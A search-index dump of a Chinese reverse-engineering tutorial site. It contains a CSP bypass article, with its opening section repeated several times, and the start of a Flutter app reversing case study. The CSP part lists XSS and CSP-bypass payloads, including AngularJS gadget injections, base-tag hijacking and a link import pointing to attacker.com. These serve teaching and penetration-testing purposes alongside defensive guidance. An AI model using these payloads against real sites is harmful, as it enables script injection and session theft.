常见可利用的库: AngularJS: 模板注入 jQuery: JSONP Prototype.js: DOM 注入 Google Analytics: _gaq.push 2. 利用 unsafe-inline 和 unsafe-eval 易受攻击的配置: Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' 绕过方法: 3. Base 标签注入 如果 CSP 没有设置 base-uri，可以通过注入 标签劫持相对路径。 易受攻击的配置: Content-Security-Policy: script-src 'self' 绕过方法: 防御: 设置 base-uri 'none' 或 base-uri 'self' 4. 利用 Nonce 重用 如果同一个 nonce 在多个脚本中重用，攻击者可以注入使用相同 nonce 的脚本。 易受攻击的代码: 防御: 每个请求生成随机 nonce 5. 利用 Script Gadgets 某些框架或库提供的功能可以被滥用来执行代码。 示例：AngularJS (CSP 模式): {{ constructor.constructor('alert(1)')() }} 示例：Vue.js: {{ constructor.constructor('alert(1)')() }} 6. 利用 Dangling Markup 通过不闭合标签来\"吸收\"后续内容。 示例: ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#4-利用-nonce-重用"},{"categories":null,"collections":null,"content":"主要绕过技术 1. 利用白名单 CDN 如果 CSP 允许某些 CDN，攻击者可以寻找该 CDN 上的可利用脚本。 易受攻击的配置: Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com 绕过方法: {{ constructor.constructor('alert(1)')() }} 常见可利用的库: AngularJS: 模板注入 jQuery: JSONP Prototype.js: DOM 注入 Google Analytics: _gaq.push 2. 利用 unsafe-inline 和 unsafe-eval 易受攻击的配置: Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' 绕过方法: 3. Base 标签注入 如果 CSP 没有设置 base-uri，可以通过注入 标签劫持相对路径。 易受攻击的配置: Content-Security-Policy: script-src 'self' 绕过方法: 防御: 设置 base-uri 'none' 或 base-uri 'self' 4. 利用 Nonce 重用 如果同一个 nonce 在多个脚本中重用，攻击者可以注入使用相同 nonce 的脚本。 易受攻击的代码: 防御: 每个请求生成随机 nonce 5. 利用 Script Gadgets 某些框架或库提供的功能可以被滥用来执行代码。 示例：AngularJS (CSP 模式): {{ constructor.constructor('alert(1)')() }} 示例：Vue.js: {{ constructor.constructor('alert(1)')() }} 6. 利用 Dangling Markup 通过不闭合标签来\"吸收\"后续内容。 示例: ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#5-利用-script-gadgets"},{"categories":null,"collections":null,"content":"主要绕过技术 1. 利用白名单 CDN 如果 CSP 允许某些 CDN，攻击者可以寻找该 CDN 上的可利用脚本。 易受攻击的配置: Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com 绕过方法: {{ constructor.constructor('alert(1)')() }} 常见可利用的库: AngularJS: 模板注入 jQuery: JSONP Prototype.js: DOM 注入 Google Analytics: _gaq.push 2. 利用 unsafe-inline 和 unsafe-eval 易受攻击的配置: Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' 绕过方法: 3. Base 标签注入 如果 CSP 没有设置 base-uri，可以通过注入 标签劫持相对路径。 易受攻击的配置: Content-Security-Policy: script-src 'self' 绕过方法: 防御: 设置 base-uri 'none' 或 base-uri 'self' 4. 利用 Nonce 重用 如果同一个 nonce 在多个脚本中重用，攻击者可以注入使用相同 nonce 的脚本。 易受攻击的代码: 防御: 每个请求生成随机 nonce 5. 利用 Script Gadgets 某些框架或库提供的功能可以被滥用来执行代码。 示例：AngularJS (CSP 模式): {{ constructor.constructor('alert(1)')() }} 示例：Vue.js: {{ constructor.constructor('alert(1)')() }} 6. 利用 Dangling Markup 通过不闭合标签来\"吸收\"后续内容。 示例: ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#6-利用-dangling-markup"},{"categories":null,"collections":null,"content":"主要绕过技术 1. 利用白名单 CDN 如果 CSP 允许某些 CDN，攻击者可以寻找该 CDN 上的可利用脚本。 易受攻击的配置: Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com 绕过方法: {{ constructor.constructor('alert(1)')() }} 常见可利用的库: AngularJS: 模板注入 jQuery: JSONP Prototype.js: DOM 注入 Google Analytics: _gaq.push 2. 利用 unsafe-inline 和 unsafe-eval 易受攻击的配置: Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' 绕过方法: 3. Base 标签注入 如果 CSP 没有设置 base-uri，可以通过注入 标签劫持相对路径。 易受攻击的配置: Content-Security-Policy: script-src 'self' 绕过方法: 防御: 设置 base-uri 'none' 或 base-uri 'self' 4. 利用 Nonce 重用 如果同一个 nonce 在多个脚本中重用，攻击者可以注入使用相同 nonce 的脚本。 易受攻击的代码: 防御: 每个请求生成随机 nonce 5. 利用 Script Gadgets 某些框架或库提供的功能可以被滥用来执行代码。 示例：AngularJS (CSP 模式): {{ constructor.constructor('alert(1)')() }} 示例：Vue.js: {{ constructor.constructor('alert(1)')() }} 6. 利用 Dangling Markup 通过不闭合标签来\"吸收\"后续内容。 示例: ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#7-利用-iframe-和-srcdoc"},{"categories":null,"collections":null,"content":"主要绕过技术 1. 利用白名单 CDN 如果 CSP 允许某些 CDN，攻击者可以寻找该 CDN 上的可利用脚本。 易受攻击的配置: Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com 绕过方法: {{ constructor.constructor('alert(1)')() }} 常见可利用的库: AngularJS: 模板注入 jQuery: JSONP Prototype.js: DOM 注入 Google Analytics: _gaq.push 2. 利用 unsafe-inline 和 unsafe-eval 易受攻击的配置: Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' 绕过方法: 3. Base 标签注入 如果 CSP 没有设置 base-uri，可以通过注入 标签劫持相对路径。 易受攻击的配置: Content-Security-Policy: script-src 'self' 绕过方法: 防御: 设置 base-uri 'none' 或 base-uri 'self' 4. 利用 Nonce 重用 如果同一个 nonce 在多个脚本中重用，攻击者可以注入使用相同 nonce 的脚本。 易受攻击的代码: 防御: 每个请求生成随机 nonce 5. 利用 Script Gadgets 某些框架或库提供的功能可以被滥用来执行代码。 示例：AngularJS (CSP 模式): {{ constructor.constructor('alert(1)')() }} 示例：Vue.js: {{ constructor.constructor('alert(1)')() }} 6. 利用 Dangling Markup 通过不闭合标签来\"吸收\"后续内容。 示例: ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#8-利用重定向"},{"categories":null,"collections":null,"content":"主要绕过技术 1. 利用白名单 CDN 如果 CSP 允许某些 CDN，攻击者可以寻找该 CDN 上的可利用脚本。 易受攻击的配置: Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com 绕过方法: {{ constructor.constructor('alert(1)')() }} 常见可利用的库: AngularJS: 模板注入 jQuery: JSONP Prototype.js: DOM 注入 Google Analytics: _gaq.push 2. 利用 unsafe-inline 和 unsafe-eval 易受攻击的配置: Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' 绕过方法: 3. Base 标签注入 如果 CSP 没有设置 base-uri，可以通过注入 标签劫持相对路径。 易受攻击的配置: Content-Security-Policy: script-src 'self' 绕过方法: 防御: 设置 base-uri 'none' 或 base-uri 'self' 4. 利用 Nonce 重用 如果同一个 nonce 在多个脚本中重用，攻击者可以注入使用相同 nonce 的脚本。 易受攻击的代码: 防御: 每个请求生成随机 nonce 5. 利用 Script Gadgets 某些框架或库提供的功能可以被滥用来执行代码。 示例：AngularJS (CSP 模式): {{ constructor.constructor('alert(1)')() }} 示例：Vue.js: {{ constructor.constructor('alert(1)')() }} 6. 利用 Dangling Markup 通过不闭合标签来\"吸收\"后续内容。 示例: ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#9-利用"},{"categories":null,"collections":null,"content":"主要绕过技术 1. 利用白名单 CDN 如果 CSP 允许某些 CDN，攻击者可以寻找该 CDN 上的可利用脚本。 易受攻击的配置: Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com 绕过方法: {{ constructor.constructor('alert(1)')() }} 常见可利用的库: AngularJS: 模板注入 jQuery: JSONP Prototype.js: DOM 注入 Google Analytics: _gaq.push 2. 利用 unsafe-inline 和 unsafe-eval 易受攻击的配置: Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' 绕过方法: 3. Base 标签注入 如果 CSP 没有设置 base-uri，可以通过注入 标签劫持相对路径。 易受攻击的配置: Content-Security-Policy: script-src 'self' 绕过方法: 防御: 设置 base-uri 'none' 或 base-uri 'self' 4. 利用 Nonce 重用 如果同一个 nonce 在多个脚本中重用，攻击者可以注入使用相同 nonce 的脚本。 易受攻击的代码: 防御: 每个请求生成随机 nonce 5. 利用 Script Gadgets 某些框架或库提供的功能可以被滥用来执行代码。 示例：AngularJS (CSP 模式): {{ constructor.constructor('alert(1)')() }} 示例：Vue.js: {{ constructor.constructor('alert(1)')() }} 6. 利用 Dangling Markup 通过不闭合标签来\"吸收\"后续内容。 示例: ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#10-利用-service-worker"},{"categories":null,"collections":null,"content":"实战示例 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:5:0","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#实战示例"},{"categories":null,"collections":null,"content":"示例 1: 检测 CSP 配置 // 提取页面的 CSP 策略 function getCSP() { // 方法1: 从 meta 标签 const metaCSP = document.querySelector( 'meta[http-equiv=\"Content-Security-Policy\"]' ); if (metaCSP) { console.log(\"Meta CSP:\", metaCSP.content); } // 方法2: 通过违规测试 const img = new Image(); img.onerror = () =\u003e console.log(\"Image blocked by CSP\"); img.src = \"https://attacker.com/test.jpg\"; // 方法3: 查看控制台错误 console.log(\"Check console for CSP violations\"); } getCSP(); ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:5:1","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#示例-1-检测-csp-配置"},{"categories":null,"collections":null,"content":"示例 2: 自动化 CSP 绕过测试 // CSP Bypass Checker const payloads = [ \"\u003cscript\u003ealert(1)\u003c/script\u003e\", \"\u003cimg src=x onerror=alert(1)\u003e\", \"\u003csvg onload=alert(1)\u003e\", '\u003ciframe src=\"javascript:alert(1)\"\u003e', '\u003cbase href=\"https://attacker.com/\"\u003e', '\u003clink rel=\"import\" href=\"https://attacker.com/evil.html\"\u003e', '\u003cobject data=\"data:text/html,\u003cscript\u003ealert(1)\u003c/script\u003e\"\u003e', ]; function testCSP() { payloads.forEach((payload, i) =\u003e { try { const div = document.createElement(\"div\"); div.innerHTML = payload; document.body.appendChild(div); console.log(`Payload ${i} injected:`, payload); } catch (e) { console.log(`Payload ${i} blocked:`, e.message); } }); } testCSP(); ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:5:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#示例-2-自动化-csp-绕过测试"},{"categories":null,"collections":null,"content":"示例 3: 利用 AngularJS 绕过 CSP \u003c!DOCTYPE html\u003e \u003chtml\u003e \u003chead\u003e \u003cmeta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self' https://ajax.googleapis.com\" /\u003e \u003c/head\u003e \u003cbody\u003e \u003c!-- 加载 AngularJS --\u003e \u003cscript src=\"https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js\"\u003e\u003c/script\u003e \u003c!-- CSP 绕过 --\u003e \u003cdiv ng-app ng-csp\u003e {{ constructor.constructor('alert(document.domain)')() }} \u003c/div\u003e \u003c!-- 或者使用 ng-focus --\u003e \u003cinput ng-app ng-csp ng-focus=\"constructor.constructor('alert(1)')()\" autofocus /\u003e \u003c/body\u003e \u003c/html\u003e ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:5:3","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#示例-3-利用-angularjs-绕过-csp"},{"categories":null,"collections":null,"content":"最佳实践 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:6:0","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#最佳实践"},{"categories":null,"collections":null,"content":"防御方 使用严格的 CSP Content-Security-Policy: default-src 'none'; script-src 'nonce-RANDOM' 'strict-dynamic'; object-src 'none'; base-uri 'none'; 避免使用不安全的指令 禁用 'unsafe-inline' 禁用 'unsafe-eval' 禁用 data: URI（对于脚本） 使用 Nonce 或 Hash \u003c!-- 每次请求生成随机 nonce --\u003e \u003cscript nonce=\"{{ random_nonce }}\"\u003e // 内联脚本 \u003c/script\u003e 限制 CDN 白名单 仅允许必要的 CDN 使用 SRI (Subresource Integrity) 验证 \u003cscript src=\"https://cdn.example.com/lib.js\" integrity=\"sha384-...\" crossorigin=\"anonymous\" \u003e\u003c/script\u003e 使用 CSP 报告 Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:6:1","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#防御方"},{"categories":null,"collections":null,"content":"攻击方（渗透测试） 收集信息 查看 HTTP 响应头 检查 \u003cmeta\u003e 标签 查看控制台 CSP 违规报告 识别弱点 是否使用 unsafe-inline 或 unsafe-eval 白名单是否包含可利用的 CDN 是否缺少 base-uri 限制 构造 Payload 根据允许的来源选择攻击向量 测试 Script Gadgets 尝试协议级绕过 验证绕过 在浏览器中测试 检查是否触发 CSP 违规 确认代码执行 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:6:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#攻击方渗透测试"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:7:0","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#常见问题"},{"categories":null,"collections":null,"content":"Q: CSP 能完全防止 XSS 吗？ A: 不能。CSP 是深度防御的一层，可以显著减少 XSS 攻击面，但： 配置不当的 CSP 可能被绕过 不保护服务器端漏洞 某些浏览器支持不完整 需要配合其他安全措施（输入验证、输出编码等） ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:7:1","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#q-csp-能完全防止-xss-吗"},{"categories":null,"collections":null,"content":"Q: strict-dynamic 是什么？ A: 'strict-dynamic' 是 CSP Level 3 的特性，允许带有有效 nonce/hash 的脚本动态加载其他脚本： Content-Security-Policy: script-src 'nonce-random' 'strict-dynamic' 好处： 简化策略管理 自动信任通过 nonce 验证的脚本加载的子脚本 向后兼容 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:7:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#q-strict-dynamic-是什么"},{"categories":null,"collections":null,"content":"Q: 如何测试我的 CSP 配置？ A: 使用以下工具： Google CSP Evaluator: https://csp-evaluator.withgoogle.com/ CSP Scanner: 浏览器扩展 手动测试: 注入各种 XSS payload Report-Only 模式: 先观察而不阻止 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:7:3","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#q-如何测试我的-csp-配置"},{"categories":null,"collections":null,"content":"Q: Nonce 和 Hash 有什么区别？ A: Nonce (Number used once): 服务器为每个请求生成随机值 脚本标签必须包含匹配的 nonce 动态内容友好 \u003cscript nonce=\"r@nd0m\"\u003e alert(1); \u003c/script\u003e Hash: 对脚本内容计算哈希值 脚本内容必须与哈希完全匹配 适合静态脚本 Content-Security-Policy: script-src 'sha256-hash_of_script_content' ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:7:4","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#q-nonce-和-hash-有什么区别"},{"categories":null,"collections":null,"content":"进阶阅读 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:8:0","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#进阶阅读"},{"categories":null,"collections":null,"content":"官方文档 MDN Content Security Policy W3C CSP Level 3 规范 Google Web Fundamentals - CSP ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:8:1","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#官方文档"},{"categories":null,"collections":null,"content":"安全研究 CSP Is Dead, Long Live CSP! - Google 研究 CSP Bypasses 集合 Content Security Policy Cheat Sheet - OWASP ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:8:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#安全研究"},{"categories":null,"collections":null,"content":"工具 CSP Evaluator Report URI - CSP 报告收集 CSP Scanner ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:8:3","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#工具"},{"categories":null,"collections":null,"content":"相关章节 Hook 技术 浏览器架构 HTTP/HTTPS 协议 JavaScript 基础 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:9:0","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#相关章节"},{"categories":null,"collections":null,"content":"Flutter 应用逆向案例 📚 前置知识 本案例涉及以下核心技术，建议先阅读相关章节： SO/ELF 格式 - 理解 libapp.so 的结构与 Snapshot 格式 Frida Native Hook - 对 Dart 编译后的函数进行运行时 Hook Flutter 是 Google 推出的跨平台 UI 框架，它使用 Dart 语言开发。与传统的 Android App (Java/Kotlin) 或 Unity (C#) 不同，Release 模式下的 Flutter 应用将 Dart 代码预编译 (AOT) 成了原生机器码，打包在 libapp.so 中，这使得逆向难度大大增加。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:0:0","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#flutter-应用逆向案例"},{"categories":null,"collections":null,"content":"Flutter 架构与逆向挑战 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:1:0","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#flutter-架构与逆向挑战"},{"categories":null,"collections":null,"content":"核心架构概览 Flutter 应用的运行架构与传统 Android 应用截然不同。理解其内部结构是逆向的第一步。 +---------------------------------------------------------------+ | Flutter Application | +---------------------------------------------------------------+ | | | +---------------------------+ +---------------------------+ | | | Dart Framework | | Developer Code | | | | (Material, Cupertino, | | (业务逻辑、UI、网络) | | | | Widgets, Rendering) | | | | | +---------------------------+ +---------------------------+ | | | | | | v v | | +-------------------------------------------------------+ | | | Dart AOT Compiled Code | | | | ( libapp.so ) | | | +-------------------------------------------------------+ | | | | | v | | +-------------------------------------------------------+ | | | Flutter Engine (C/C++) | | | | ( libflutter.so ) | | | | +----------+ +-----------+ +---------------------+ | | | | | Dart VM | | Skia | | Platform Channel | | | | | | Runtime | | (渲染引擎) | | (与原生通信) | | | | | +----------+ +-----------+ +---------------------+ | | | +-------------------------------------------------------+ | | | | | v | | +-------------------------------------------------------+ | | | Android Platform (Java/Kotlin) | | | | FlutterActivity / FlutterFragment (薄壳层) | | | +-------------------------------------------------------+ | +---------------------------------------------------------------+ ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:1:1","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#核心架构概览"},{"categories":null,"collections":null,"content":"关键文件 文件 说明 逆向价值 lib/\u003cabi\u003e/libflutter.so Flutter 引擎，包含 Dart VM、Skia 渲染引擎、BoringSSL 用于 Hook 网络层 / SSL 验证 lib/\u003cabi\u003e/libapp.so 开发者 Dart 代码的 AOT 编译产物 核心目标 — 所有业务逻辑在此 assets/flutter_assets/ 字体、图片、Shader 等资源 辅助理解 UI assets/flutter_assets/kernel_blob.bin Debug 模式下的 Dart Kernel（Release 不存在） 若存在则可直接反编译 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:1:2","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#关键文件"},{"categories":null,"collections":null,"content":"Dart AOT 编译流程 Dart 源代码 (.dart) | v [ Dart Frontend (CFE) ] | v Kernel Binary (.dill) \u003c-- Debug 模式到此为止 (JIT) | v [ AOT Compiler (gen_snapshot) ] | v +-----+---------------------------+ | | | v v v 指令段 (Text) 数据段 (Data) 快照 (Snapshot) 机器码 全局对象 类/函数元数据 | | +---------------------------+ | v libapp.so \u003c-- Release 模式最终产物 关键点： 没有 Java 字节码：Flutter 的 Dart 代码不经过 DEX 编译，Java 层只有一个薄壳 FlutterActivity，所有逻辑在 Native 层。 自有网络栈：Dart 自带 HTTP 客户端和 BoringSSL，不走 Android 系统的 java.net 或 OkHttp。 无标准符号表：libapp.so 虽然是 ELF 格式，但函数名被剥离，无法直接通过符号定位函数。 自定义调用约定：Dart AOT 代码使用自己的寄存器约定和调用规范，与标准 ARM ABI 不同。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:1:3","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#dart-aot-编译流程"},{"categories":null,"collections":null,"content":"为什么传统 Hook 方法失效 传统方法 对 Flutter 的效果 原因 Xposed Hook Java 方法 无效 业务逻辑不在 Java 层 JADX 反编译 DEX 仅能看到空壳 Activity Dart 代码在 libapp.so 中 Wi-Fi 代理 + Burp 无效 Dart HttpClient 不走系统代理 通用 SSL Pinning Bypass (OkHttp) 无效 Flutter 使用 BoringSSL，不走 Java TLS Frida Hook javax.net.ssl 无效 同上 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:1:4","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#为什么传统-hook-方法失效"},{"categories":null,"collections":null,"content":"Flutter App 识别 在动手逆向之前，我们首先需要确认目标应用是否使用了 Flutter 框架。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:2:0","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#flutter-app-识别"},{"categories":null,"collections":null,"content":"方法一：检查 APK 内部文件结构 解压 APK，检查以下特征文件： # 解压 APK 并检查关键文件 unzip -l target.apk | grep -E \"(libflutter|libapp|flutter_assets)\" 典型 Flutter APK 文件结构: target.apk ├── AndroidManifest.xml ├── classes.dex # Java 薄壳层 ├── lib/ │ ├── arm64-v8a/ │ │ ├── libflutter.so # \u003c-- Flutter 引擎 │ │ └── libapp.so # \u003c-- Dart AOT 代码 │ └── armeabi-v7a/ │ ├── libflutter.so │ └── libapp.so ├── assets/ │ └── flutter_assets/ # \u003c-- Flutter 资源目录 │ ├── AssetManifest.json │ ├── FontManifest.json │ ├── fonts/ │ ├── packages/ │ └── shaders/ └── res/ ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:2:1","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#方法一检查-apk-内部文件结构"},{"categories":null,"collections":null,"content":"方法二：检查 AndroidManifest.xml Flutter 应用的 AndroidManifest.xml 中通常有以下特征： \u003c!-- Flutter 应用的典型 Activity 声明 --\u003e \u003cactivity android:name=\"io.flutter.embedding.android.FlutterActivity\" android:launchMode=\"singleTop\" android:hardwareAccelerated=\"true\" android:windowSoftInputMode=\"adjustResize\"\u003e \u003c/activity\u003e \u003c!-- 或者自定义 Activity 继承 FlutterActivity --\u003e \u003cactivity android:name=\".MainActivity\" ... \u003e \u003c!-- 内部会引用 Flutter 引擎 --\u003e \u003c/activity\u003e 可以搜索以下关键字： # 在 Manifest 中搜索 Flutter 关键字 aapt dump xmltree target.apk AndroidManifest.xml | grep -i \"flutter\" ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:2:2","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#方法二检查-androidmanifestxml"},{"categories":null,"collections":null,"content":"方法三：运行时检测 (adb) # 方法 1: 检查已加载的 SO 库 adb shell \"cat /proc/$(pidof com.target.app)/maps | grep flutter\" # 预期输出: # 7a3c000000-7a3c200000 r-xp ... /data/app/.../lib/arm64/libflutter.so # 7a3d000000-7a3d100000 r-xp ... /data/app/.../lib/arm64/libapp.so # 方法 2: 检查包名目录下的 SO 文件 adb shell \"ls -la /data/app/~~*/com.target.app-*/lib/arm64/\" ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:2:3","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#方法三运行时检测-adb"},{"categories":null,"collections":null,"content":"方法四：自动化脚本识别 #!/usr/bin/env python3 \"\"\"Flutter App 快速识别脚本\"\"\" import zipfile import sys def is_flutter_app(apk_path): indicators = { \"libflutter.so\": False, \"libapp.so\": False, \"flutter_assets\": False, } with zipfile.ZipFile(apk_path, 'r') as z: for name in z.namelist(): if \"libflutter.so\" in name: indicators[\"libflutter.so\"] = True if \"libapp.so\" in name: indicators[\"libapp.so\"] = True if \"flutter_assets\" in name: indicators[\"flutter_assets\"] = True score = sum(indicators.values()) print(f\"[*] 检测结果: {apk_path}\") for k, v in indicators.items(): status = \"Found\" if v else \"Missing\" print(f\" {k}: {status}\") if score \u003e= 2: print(f\"[+] 结论: 高度确认为 Flutter 应用 (命中 {score}/3)\") elif score == 1: print(f\"[?] 结论: 可能为 Flutter 应用 (命中 {score}/3)\") else: print(f\"[-] 结论: 非 Flutter 应用\") return score \u003e= 2 if __name__ == \"__main__\": is_flutter_app(sys.argv[1]) ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:2:4","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#方法四自动化脚本识别"},{"categories":null,"collections":null,"content":"Flutter 版本识别 确认应用是 Flutter 后，还需要识别其使用的 Flutter 版本，这对后续选择工具至关重要： 